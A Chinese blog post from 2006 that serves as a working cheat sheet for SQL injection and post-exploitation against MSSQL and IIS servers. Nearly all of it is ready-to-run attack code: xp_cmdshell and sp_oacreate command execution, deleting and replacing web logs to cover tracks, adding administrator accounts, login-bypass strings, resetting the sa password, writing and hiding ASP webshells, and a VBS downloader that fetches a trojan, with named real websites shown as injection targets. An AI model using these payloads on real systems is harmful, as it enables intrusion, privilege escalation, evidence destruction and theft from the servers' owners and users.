EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切

 这里仅给出sysadmin权限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')

 建立链接数据库'L0op8ack'参考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

 如何使用链接数据库:

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合
sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:

 新建链接服务器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
 exec sp_addlinkedsrvlogin 'L0op8ack',' 'false'';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
 SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
 exec sp_droplinkedsrvlogin 'L0op8ack','false';--
 exec sp_dropserver 'L0op8ack';--

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用UPDATE来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;
32位MD5值为: ,密码为

10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

11、创建表、播入数据和读取数据的方法
 创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
 往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

 删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
 update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构:
 select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
 select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库:
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、
http://www.npc.gov.cn/zgrdw/common/...p?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
 select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕过登录验证进入后台的方法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人气%’ and 1=1 and ’%’=’

20、寻找网站路径的方法汇总:
1)查看WEB网站安装目录命令:
 cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件

2)在网站上随便找到一个图片的名字 123.jpg
然后写进批处理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

执行后 type c:\123.txt
这样来分析网站的路径

3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?
将执行命令输出结果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意输出前Backup这两个文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然后随便输入一个文件来访问:http://目标ip/2.asp

4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径
2003系统:xp_regread读取,未找到方法
如:
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。
TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。
(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面
regedit命令说明:
Regedit /L:system /R:user /E filename.reg Regpath
参数含义:
/L:system指定System.dat文件所在的路径。
/R:user指定User.dat文件所在的路径。
/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。

regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然后http://目标IP/2.asp
针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。

6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。

7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:
 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
 测试:http://127.0.0.1/win/test.asp
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)
如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname='d:'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname='d:\website'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。

下载完数据库后要记得把三个临时表DROP掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。

21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

查看是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
inprocessisapiapps : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通过web访问ASP木马:http://ip/images../news.asp?action=login
如何删除非标准目录:rmdir images..\ /s

23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—

24、用echo写入文件下载脚本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs

(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp

25、手工建立IIS隐藏目录的方法:
 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root
 新建一个kiss目录:mkdir c:\asp\kiss
 建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"
 为kiss目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
 ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
 访问:http://127.0.0.1/kiss/test.asp

26、使用openrowset()连回本地做测试:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]')

27、获得主机名:
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28、获得数据库用户名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

29、普通用户获得WEBSHELL的方法之二:
 打包:
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'
解包,可以用于得到webshell:
 EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'
 读任意文件内容,要求有master的dbo权限:
EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp'

posted on 2006-08-06 20:39  bobomail  阅读(1520)  评论(0编辑  收藏  举报